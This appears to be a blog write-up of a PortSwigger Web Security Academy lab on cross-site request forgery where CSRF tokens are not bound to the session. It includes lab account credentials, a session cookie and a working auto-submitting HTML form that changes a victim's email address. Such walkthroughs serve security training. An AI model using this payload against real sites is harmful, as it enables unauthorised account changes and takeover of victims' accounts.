Skip to main content
XsiSec.com
HomeReposBlogProjectsPortfolio
© 2026 XsiSec.com
Security rules |security.txt
Updated 2026-08-15 · v1.0.0+2026-08-14.82f92cb · 82f92cb
← Back to overview
Security article

CSRF where token is not tied to user session

CSRF where token is not tied to user session: CSRF Email Change Lab This lab's email change functionality is vulnerable to CSRF. It uses tokens to try to prevent CSRF attacks, but they aren't integrated into the site's session handling system. --- ## Objective Use the exploit server to host an HTML page that launches a CSRF attack to... • PortSwigger • Cross-site request forgery (CSRF)

2022-11-240 tags

CSRF Email Change Lab

This lab's email change functionality is vulnerable to CSRF. It uses tokens to try to prevent CSRF attacks, but they aren't integrated into the site's session handling system.


Objective

Use the exploit server to host an HTML page that launches a CSRF attack to change the victim's email address.


Accounts Available

You have two accounts to test and help design the attack:

  • wiener:peter
  • carlos:montoya

Session Cookies

Carlos Session Cookie

Carlos session cookie

http
Cookie: session=Y00t3UW4MWFNIM0TWdrPtiEkB1mY7VyK

Wiener Session Cookie

Wiener session cookie

Updated session cookie:

Updated Wiener session cookie


Exploit HTML

The CSRF payload used to change the victim's email address:

html
<script>
  history.pushState('', '', '/');
</script>

<form action="https://0aa500ef0300be66c0cc02a8004d0020.web-security-academy.net/my-account/change-email" method="POST">
  <input type="hidden" name="email" value="wienerattack&#64;xsisec&#46;com" />
  <input type="hidden" name="csrf" value="DaRVh6ik6Aswcu5XeyOC6aQOACqla4GT" />
</form>

<script>
  document.forms[0].submit();
</script>

Key Notes

  • The application uses CSRF tokens, but they are not tied to the user's session.
  • A valid CSRF token captured from one account, such as wiener, can be used to attack another account, such as carlos.
  • When the victim visits the attacker's exploit page, the form is submitted automatically.
  • The victim's browser sends their active session cookie with the request.
  • The victim's email address is changed without their consent.
Navigate

In this post

  1. 01CSRF Email Change Lab
  2. 02Objective
  3. 03Accounts Available
  4. 04Session Cookies
  5. 05Carlos Session Cookie
  6. 06Wiener Session Cookie
  7. 07Exploit HTML
  8. 08Key Notes
Search
Explore

Popular tags

Browse all 30 tags

Comments

0 comments

No comments yet — be the first to comment.